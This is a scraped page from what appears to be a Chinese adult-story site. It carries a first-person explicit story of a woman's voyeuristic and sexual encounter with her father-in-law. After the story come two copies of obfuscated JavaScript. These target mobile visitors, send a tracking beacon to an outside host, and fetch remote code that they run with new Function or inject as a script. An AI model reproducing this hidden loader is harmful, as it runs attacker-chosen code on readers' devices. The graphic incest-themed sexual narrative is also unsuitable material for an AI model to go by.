图片载入中

熟女樱的告白∼被公公诱奸

特大字】 【大字】 【中字】 【小字

樱的告白——被公公诱奸

话说十七、八年前,我由新竹县嫁到新竹市,我是客家人,只有高职学历。老公是外省人,家住在眷村,家里还有公公、婆婆,一个大哥、一个妹妹。老公是基层公务员,薪水微薄,那时还无力买房子,家里也住不下,老公又很孝顺,不想一结婚就离开父母,所以我们在同一眷村同一条巷子里,便宜租了一间房子暂住下来。

老公的工作是早出晚归,固定上下班。那时我在竹科某电子公司当作业员,固定轮值下午六点到凌晨两点的小夜班。公公那时55岁,是职业军人,在桃园县服务,每礼拜回来一次。婆婆是标准传统家庭主妇,整天做家事,很少出门。 公公每周六回来,周日和我们相处一天,一家人相处也很融洽。结婚那年我生了大女儿,第二年生了二女儿,第四年生了儿子。我们夫妻上班时,两个小孩请婆婆帮我们带。前五年一直过得很平静,公公虽是职业军人,但给我的感觉还算亲切、友善。

结婚头两年我们的性生活还算正常,对性(开放)方面的事我也不大懂,反正老公找我,我就和他玩。之后老公开始带一些外国色情杂志回来给我看,还翻译一些色情文章给我听,而且灌输我一些外国新潮开放的性游戏,如自拍、女性露出、换妻、换伴、天体营等等,也会拿一些色情录影带回来我们一起看。 不知是否受到那些色情故事的启发和影响,从那时起我的潜在性需求越来越强,偶尔也会有些和别的男人玩的性幻想,但我在老公面前还是保持着一贯的态度,不会主动地找他玩。

经过一段时日,他开始要求我做他的模特儿给他拍照,我也很乐意配合他。但生长在乡村的保守的我,虽然心里已有裸露的潜在欲望,但并未表露出来,也没答应让他帮我拍裸照,所以那时最大极限,顶多是让他帮我拍一些睡衣、泳衣的清凉照而已。当他再进一步要求我少穿一些时,我就以冲洗相片会被别人看到为由而婉拒他,但他还是会趁我睡着时偷拍些我的穿梆照。

结婚五年后,公公由军中退伍,第一年唯一的改变,以前公公每个礼拜回来一次,我们相处的时间并不很多,只有礼拜天一家人一起吃个饭。而现在是每天都会见面,而且每天中午也一起吃中饭。这时公公给我的感觉除了亲切、友善外还对我多了份关爱的眼神。

(我说过,我自认我的腿算修长好看的,我觉得公公的眼光也经常在注视我的腿,心里感觉他色色的,但又不好说出来。)

那时候我们家的生活作息,晚上我去上班,小孩由老公负责带,凌晨两点多我回到家就睡到早上和老公一起起床,早上做些家事,中午把小孩带到婆婆家吃饭,然后我再回家睡个午觉,洗个澡准备上班。

公公退伍的第二年,开始对我展开有计划的亲情攻势,那时他已充份了解了我的生活作息,偶尔在我老公上班后会给我送早点来,由于眷村里的习惯起床后大家都把大门开着,所以他就明正言顺的进来我家,说是他去吃早点顺便带的。 刚开始,他送了早点就走了;但过一阵日子后,他买了早点来还会坐一坐再走;再过了一段日子,他偶尔要我陪他一起(骑机车)去福利中心买东西,我家里有缺什么东西,他也很大方的会帮我付帐,当然那时我的心里除了感激以外并没多想。

大约过了半年,老大准备要上幼稚园了,有一天早上公公对我说:“媳妇,你的小孩以后教育费都由我来出,你们赚的钱存起来将来买房子,不过你不要告诉别人。”

隔天他就把学费给了我,我也推不掉,只好收下了,心里也充满感激。

没多久,老大上幼稚园去了,我的日子还是像往昔一样过着,只是感觉公公对我更殷勤了些,有时会趁带我出去买东西时顺便绕到乡下走走、吃吃小吃,也会聊一些他的故事……

每次机车骑出了眷村,他就会要求我由侧坐改为跨坐,回到村子前又会换回侧坐,他说免得人家说闲话。说实在,公公比我老公还帅一点,我心里对他除了感激还有些好感,所以我也没防他。

天气好时,我总喜欢穿着短短的热裤(老公说那叫“包屄裤”,我问为什么这样叫?他说:“你看看,你的肥屄中间那条沟都看到了,就跟外国模特儿穿的一样。”)露出一双修长的腿;坐在机车后面也会紧紧地搂着他的腰,两个奶子压着他的背。我心想,这就是他想要的吧?

偶尔公公也会藉讲话时故意用一只手摸我的腿,我也凭女人的直觉,感觉公公对我有非分之想,但我又能如何?况且老公不断地灌输我性开放的观念,那时我也真的有些心猿意马的感觉,在他所带回来看的A片中,当看到有乱伦情节的片子时,我也有些特别强烈的刺激感(记得那时最红的片子是《深喉咙》和《小白菜》)。

眷村的房子是长条形的,客厅在前面,卧室在中间,厨房浴室在最后面,加盖的二楼还有两间房,我的房间在楼下。

有一天中午吃中饭时,婆婆对我说:“阿樱,我有件事想和你商量。”

我问:“什么事呀?”

她说:“你的小孩下午在我这里,你公公嫌他们吵,没法休息,是不是可以让他下午去你们家休息?不知道会不会不方便?”

我心里是十分不愿意,因为那时候正值夏天,平常我午睡都习惯不穿衣服,房门也不关,如果他来休息,我怎么办?但想到婆婆帮我带小孩,公公又对我不错,我怎么好回绝呢?

正在我稍为犹豫时,公公说:“我只在你客厅看看电视,在沙发上躺躺,我不上楼也不吵你,而且我也不会天天过去。”

我赶紧说:“没关系,婆婆这有我们家大门的钥匙,如果我睡觉,你就自己开门进来好了。”事情就说定了。

(其实我心里明白,是公公故意怂恿单纯的婆婆向我提出来的,其意不在休息而在接近我。)

晚上我跟老公抱怨,他说:“那怎么办?又不能叫爸爸不要来,是我们小孩吵到他。况且今天我们如果住家里,还不是一样和他们一起相处?如果热你就忍耐点,穿点衣服、门开着睡好了,等我们买了房子搬走就好了。”

第二天午睡时,我穿了一套宽松无袖的短裤套装,没穿内衣裤,而且我有稍稍注意听有没有开门声,结果公公没过来。

第三天中午吃饭时,公公说:“等等我和你一起过去。”洗好碗,公公拿了茶就跟我一起回我们家,他打开电视,声音开得小小的说:“你睡你的,我不吵你。”

我到浴室换了和昨天一样的套装,回到房间。平常我是很好睡的,几乎一躺下没多久就睡着了,但那天就是睡不着,迷迷煳煳翻来覆去。到四点半起来洗澡时,公公已经离开了。

接下来半个月,公公有时过来有时没过来,但都在我起床前就会离开。早上还是一样有时会载我出去,但在我家休息的事他没有特别提及,后来变成他有没有来或何时来、何时离开我也不去注意了,我完全撤除他会对我不轨的疑虑。 老公从年轻时起就喜欢照相,老式单眼还有四台(民国90年买了数位相机后,我们便大量的拍了很多自拍、外拍,这两年还请老公同事小童帮我们照了些性爱照。老公说,反正不用花底片钱和冲洗费)。

因为我睡觉方向是头朝里面、脚朝房门,我睡觉穿的这套衣服,很久前老公就曾经对我说,我有时候的睡觉姿势,躺着,从房门口往里看会看到我的阴毛;趴着,会看到我的半个屁股,真是迷死人了!我不相信,后来他趁我熟睡时偷拍了一些穿梆照我才相信,我还骂他神经病!

我说:“家里又没别人,小孩也还小,有什么关系?”老公皮皮的说:“我才不怕你露,你露越多我越爽,让人家羡慕我。反正看到吃不到,哈死他们!” 那天中午公公和我一起回去我家,我和平常一样换了衣服就睡了,睡到一半因为翻身,眼角余视到门口闪过一个人影,我虽然有点觉得怪怪的,但没有很在意,心想可能公公经过我房间去后面上厕所吧!我就又继续的睡了。

接下来一个礼拜又连续发生了两次同样的情事,让我起了疑心,心想怎么会那么刚好?就算他上厕所,也不会每次我翻身他都刚好去上厕所吧!

那天中午我先回家,睡到床上,心想今天如果公公过来,我决定一探究竟!过了一会听到开门声音,接着听到开电视声,我斜趴在床上让眼角可以隐隐看到门口的景像。我摸摸裤子,确实屁股露出三分之一,我故意放大唿吸声(因为老公说我睡觉时唿吸声很大),让他以为我睡着了。

没多久听到轻轻的脚步声,看见公公经过门口往厕所走去,经过房门时往里看了一眼,没几秒他又走回头停在靠客厅的一侧往房里面看。这时我已确定这些日子他都在偷窥我睡觉,我相信他也不会在家里对我有什么非礼的动作,因为会的话早也就发生了,我也就去除了警戒心。

这时我故意动了动身子,他很快的就退回了客厅,我也就睡着了。

第二天早上还是一切维持正常生活步调,下午公公没过来我家。其实公公并没有每天过来我家,因为有时他有事出去或和邻居打打小牌,再加上礼拜六、日他也不过来,事实上一个礼拜他也只过来两三天。

知道公公会偷窥我睡觉后,心中回忆起这几年老公灌输我性知识,和希望我接受性开放和性游戏的点点滴滴,经常我和老公单独出去时,他总是叫我迷你裙穿短一些配上黑色网袜、上衣露一些,他说我那样穿会让他兴奋莫名,尤其是不认识的他人色色的盯着我的腿看时,更让他受不了。

老公曾跟我说过以前眷村房子更简陋,大部分房子浴室门窗都有缝隙,他就偷窥过好几个邻家阿姨和女孩洗澡,连他自己妹妹洗澡也被他偷窥过。想到这,我心中突生一股报复的念头,心想公公要看就让他看吧!反正老公也不在乎。 又隔一天的中午,先回到家,心想今天如果有过来我再换一个姿势,试探一下看公公还会不会再偷窥我?我换好衣服平躺在床上,两腿打直微微分开,稍为把裤脚往上拉,如此两条腿整个暴露在外,再加上薄薄的上衣让两个奶头若隐若现的浮出,这个姿势应该会让正常的男人会产生一些遐思或冲动吧!

没多久,听到开门的声音,我像往常一样装睡,没多久公公也像那天一样站在房门口偷窥我,也许是这次姿势比上次趴着更为撩人,我看到他的手不时地隔着短裤抚摸着他自己下面,这还是我除了看A片外第一次看到男人自己摸自己,这时的我也觉得奶头变硬,下面也开始涌出淫水,心里也遐想着和别的男人在办事,那种感觉真奇妙,后来我就睡着了。

隔天礼拜六晚上,和老公在房间看A片(一般这是我们做爱的前奏),我问他年轻时偷窥邻家阿姨和女孩洗澡是什么感觉?他说那时年轻对那些事很好奇才会去偷窥,偷窥时有时会冲动到一面看一面自己手淫。(我心想,就像昨天你爸爸偷窥我一样吧!)

我问:“那你怎会偷看你妹妹呢?”他说也是好奇,但看自己妹妹就没有冲动的淫念了。(我心想,你还算正常,不像你爸爸偷窥我还会自摸。)我问他:“现在这年纪还会不会想偷窥呢?”他说这跟年纪没关系,如果有机会他还是会想。并且说,那只是好奇爱看,又不是要强奸别人。我说:“怪不得你喜欢我露给别人看!”

我又问:“那我们家浴室会不会被偷窥啊?”他说:“我检查过,靠后巷的窗户不会春光外泄,但浴室木门有缝,眼睛靠在门缝上可以看到里面,情形和我妈妈家一样。”我笑说:“那婚前我常常住在你家不都被偷窥了?”他说:“你想太多了。”

我说:“如果真的被人家偷窥了呢?”他说:“没关系!反正吃不到又不会少块肉。”还说:“就当以前我看人家,现在你帮我还人家好了。”我说:“你还真大方!”

接下来一场渔水之欢不在话下,老公的性能力我倒是没话说,足够满足我的需求。他也特别喜欢我吸他老二和舔他屁眼,他说我的吸功是一流的。

做爱虽然很欢愉,但我心里其实气得要死:‘你偷窥别人却要我让人家偷窥来还,现在被你爸爸偷窥了,还真讽刺。’本来一直考虑公公的事要不要告诉老公,现在我看算了,万一他说没关系或不相信,我不是自讨没趣?

心中的气与怨反而使我产生了报复的念头,心想:‘好吧!你喜欢我露,我就找机会多露一点给人家看。’首先我想到的当然是公公了。

老公偷拍我睡觉的相片中,有一张是穿着一套特别超薄、超短、超宽的无袖套装,我平躺在床上,右腿伸直,左腿向上提起,膝盖弯曲成90度,这个角度从门口向内看不但可以看到阴毛,还可以看到左半边的阴唇(老公说我的阴毛算多的,穿泳衣都会外露。90年他买了数位相机后,因为大量的帮我拍写真,所以他常常帮我修毛,修过毛拍的裸照确实好看些),上衣往上拉一些也可以看到乳房的下半部。

隔一天的中午,我先回到家,换上那套特别超薄、超短的套装,心想今天先不露阴唇和乳房,试探一下公公的反应。

没多久听到开门声,我摆好姿势,确定可以露出阴毛(说真的,经过老公的调教,此时的我觉得露点阴毛不算什么),再一会公公出现在房门口,没一下他退回客厅。当他再次出现在门口时,他靠着门框,眼睛看着我,而他的右手居然由裤腰插入裤子里上下抽动着,明显看到他是在手淫。

对我来说,这还得了!之前叙述过我是很容易被挑起性冲动的,此时不但子宫骚痒难耐、淫水直流,我的心脏几乎要跳出来了,心中不禁幻想:‘公公,你来强奸我吧!’

由于我淫水直流、心跳不已,唿吸感觉渐渐急促,怕等等受不了会露出马脚而穿梆,所以决定翻个身缓和一下激动的情绪。公公见我翻身后马上退回客厅,我也在欲火焚烧中睡去。

醒来时公公已离去,但垃圾桶中多了一球卫生纸,我想一定是公公擦拭精液后留下来的。心想这些日子在我睡着的时候,我到底被偷窥了多少还真不知道,公公因为偷窥而自己手淫了多少次我也不知道,因为老公说我睡觉时经常会搔自己的阴部,那会让男人受不了的,所以如果公公因为偷窥到我搔自己的阴部,不知会怎样哝!

老公是我第一个男人,但我却不是他第一个女人,在我之前他不知道玩过多少女人,他也没清楚交代,我只知道一个是我认识的邻家女孩,已嫁到台北,还有他当兵时玩的妓女等等。他总是说和我玩才真正有做爱的快感,以前玩过的都没意思,我也不想问太详细,随他解释吧!所以他说我的淫水特别多,是他碰过的女人中最多的,我也就姑且信之。

那时对我来说,淫水多少没什么差别,但我知道我下面是很容易就会湿,只要一点点刺激,譬如说看电影有一点煽起的剧情我就会湿、和姐妹们谈论男人的事时会湿、被老公摸乳房时会湿、自己遐想时也会湿……等等(但一直到近几年我们从事了3P、4P和肛交后,我才知道淫水多的好处在哪里)。

隔天早上公公还是一样给我送早点,下午他没过来。经过这段时间我对他的试探,我相信公公他在我家里不会对我做出非礼的举动,一方面他还有些分寸,另一方面他也要顾忌眷村的房子隔音很差,有什么事,大叫一下左右邻居都听得到。

我和老公做爱时他经常都会提醒我要叫小声点,有时我就是忍不住,因为爽的时候不叫出来那多难过啊!所以隔壁住的和我年纪差不多的太太,和我交情不错,经常都笑我说:“昨晚又炒饭了?很爽吧!”我说:“废话,爽才会被你听到。”

有时我们也会私底下谈论对方的性生活,那是女人间的秘密。(各位男性读者:女人也会私下谈论男人的事喔!)婚后两三年我的性需求还算正常,一切配合老公,不会多要求;生过两个小孩后,再经老公时常调教我,灌输我那些新潮的性观念,确实改变了我一些想法,偶尔也会受不了主动地找老公做爱。我发现要找他很简单,只要舔他几下他就受不了。

不论他找我或是我找他,我们的性生活还是很和谐和满意的。这时的我也会闲来遐思,幻想和一些心仪的对象发生关系。

自从看到公公手淫后,我心里决定以后不管公公过不过来,也不管他窥不窥我,我该休息时就好好休息,不再试探他,只要我自己注意一下穿着不要穿太露就好。

但事与愿违,一个礼拜过去,我的生理变化让我又产生了遐思,在我姨妈来的前几天,我的性需求会变得特别强,这时我立即又想到公公,这次我要再多露一点,看看公公的反应如何?

那天中午,和往常一样我先回到家,换上那套特别超短的套装,今天决定要露出阴唇和乳房,看看公公的反应。没多久听到开门声,我摆好姿势,手摸摸下面确定会露出阴唇,再把衣服往上拉露出下半个乳房,这时我自己都已经有点按捺不住想要手淫了。

过一会公公出现在房门口,看他愣了一下马上退回客厅,应该是看到我的阴唇和乳房有点惊讶。当他再次出现在门口时,见他靠着门框,而……我的天!他脸色通红看着我,而他的老二……居然露在裤子拉链外面……他的右手握着他的老二,慢慢地前后抽动……因为我眯着眼,无法仔细看清那部分。

就这样过了一会,公公手抽动的速度稍为加快,这时我下面瘙痒的程度已难过得不知如何收场,淫水直流,乳房变得又硬又胀。在下意识的情形下我的腿移动了一下,公公立即退回客厅,没一会听到外面客厅发出“啊……”的一声,我想应该是公公射出来了吧!

我摸摸自己的阴穴,已经湿得不行了,心想应该去冲个凉消消欲火,但公公在外面,不知他会不会偷窥我洗澡?因为我还没有公公在我家的时候洗过澡。这时也管不了那么多了,当天刚好也特别热,我起身来故意发出些声音,到门口往客厅望一下,公公躺在沙发上看电视,有点心虚的样子。

我说:“爸,你没睡一下啊?”他说:“我还不想睡,再看一下电视。你怎么没睡,是不是我吵到你了?”我说:“没有,是今天特别热,我起来冲个澡再睡。你休息吧!”

洗完澡稍为退了些欲火,我就回房睡了,也不确定他有没有偷窥我洗澡。起床后公公已离开,垃圾桶中又留下了一团卫生纸。

没多久,秋风吹起,天气渐渐凉了,午睡已经要多穿一些,有时需要盖上薄被,感觉公公来的次数也越来越少。

深秋时分,在我生日的前一个月左右,有一天和公公一起去吃早点,他说:“樱,等会我带你去一个地方,我有些事要跟你说,还有你下个月生日,我要送你一点小东西。”我没有怀疑他,以为会像平常一样去个公园之类的地方,就随口答应他说好!还客气的说:“小生日,不用送啦!”

他说:“我没送过你生日礼物,给你做个纪念吧!”我心里想,公公真的对我不错,帮我小孩出学费,又常常买日用品帮我付钱,有时候还会塞点零用钱给我,所以对他偷窥我睡觉的事情根本不放在心上,甚至还对他有些好感,还曾经把他当成遐思的对象呢!

公公骑着机车载着我到了市区边界(香山),停在一家小旅馆前面,他说:“到了。”我问:“到哪里?”他说:“就这家旅馆,我已经订好房间了。”我说:“为什么来这里?有话随便找个地方说就好了。”他说:“没关系啦!这里讲话比较隐密,不会让熟人看到,不会有事的。”

(这时我心想,难道他会对我存不轨之心?虽然此时我的性观念已被老公教育得很开放,老公也希望我能答应他参加换妻之类的活动,心里已准备好接受和老公以外的男人接触,但对象也不是自己的公公。)

心想站在门口也不是办法,于是我跟随公公进了旅馆。到了房间他叫我坐在床上,他则坐在对面椅子上,然后从口袋拿出一个首饰盒,打开来里面是一条金项炼,他拿给我说:“这是给你的生日礼物,你不要告诉别人喔!”话说到这我不收也不好了,只好收下说谢谢了!

接着公公说:“我还有些心里话要对你说。”然后问:“你觉得我对你怎么样?”我说:“很好啊!我知道你都有特别照顾我和我的小孩。”

他低声腼腆的说:“你听我说,其实我是很空虚寂寞的,你婆婆没念过书,我们一直都没什么话说,从她更年期后我们就没有再发生关系了。我虽然已经六十岁,但那方面我还是会想,这两年和你相处下来,我觉得对你也有了感情,我也觉得你对我很好,我们很投缘。前段时间我下午在你们家休息,有时看到你在睡觉就会很受不了,常常幻想我躺在你身边,甚至和你相好。我知道我这样想不应该,但想占有你的欲望越来越强,让我无法自拔,希望你能答应我一次。一次就好,下不为例,算完成我的一个心愿。”

此时我心中上下起伏,不知该如何是好,是站起来离开呢!还是……这时他突然跪在我前面抓起我的双手,哀求地说:“算我求你,只此一次,以后我会对你更好。”

说真的,那时我被吓得并没有一丝欲念,只有一些怜悯的想法,再加上对老公的一些怨,让我勉强的决定消极地配合公公的需求。

他看我没有动静,轻轻的把我推倒在床上。那天我穿了一套长袖运动服,没穿内衣,公公帮我脱下了长裤、内裤,他没要我脱上衣,我闭着眼默默地等着他的下一步动作。他的手由我的大腿往上抚摸到我的阴穴,手指由外往穴里抠,弄得我心跳加剧、淫水猛流,但我仍保持不动,让他看不出我和老公在一起时的淫荡样子。

接着他趴在我两腿之间,开始舔我的穴,这是我的最爱,舔得好会让我一样的丢出来呢!但公公不知我之所好,没多久他就趴到我身上,两手伸进我衣服里抚摸我的乳房,这时我的乳头已硬得不行。公公把我的上衣往上拉起,开始吸我的乳头,他一直也都没说话,我也忍着没出声。

接下来他把老二插入了我的淫穴里,其实我的身体已经期待多时。他的老二大小和老公差不多,没老公那么硬,接下来我只能说,他(我生命中,第二个和我发生性关系的男人)的冲刺力度难与老公的猛烈相比较,但他的慢功细活却又比老公的细腻。他在我的淫穴中慢慢地一进一出,维持了很久才泄出来,那时一股热流喷向子宫,确实也让我得到很大的满足。我虽然一直躺着没动,但淫水直流,自己也不知道出来了几回……

公公泄了后,坐在床边,我起身拿起裤子到浴室冲了一下下身,出来时公公已穿好衣服,一副愧疚样,想对我说什么,我抢先一步说:“什么都别说了,回家吧!以后不要再提这件事。”

虽然这次的生理上感觉(很爽)很好,但心理上总觉得不好。之后我开始疏远他,他也发现我的态度,也就不再过来了;平常我过去,我们还是一样的打招唿。

我和公公只发生了一次性关系,虽然是诱奸,但我也有责任,因为除了我说的报复老公心理外,其实自己也有一些恋父情节,让公公在要求我时,我一时心软得以让他达成要和我做爱的目的。

在眷村里很多年长的伯伯都很喜欢我,我也很有老人缘,也不排斥和老人在一起,虽然有一两个让我觉得总是色迷迷的看我,但我也不在乎。

一年多后公公心脏病去世,我和他的那段秘密就随他而去了。但那件事终究对之后我的私生活和性生活有了很大的改变,包括我所发表第一篇《老公设计我喝醉让人玩》的故事也只是其中一段。

【全文完】

好市民达人勋章申请中

请大家帮忙按下面键连

之后帮忙按爱心

谢谢大家


上一篇:人家的女友

下一篇:【小镇性事】( 1-5 )


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};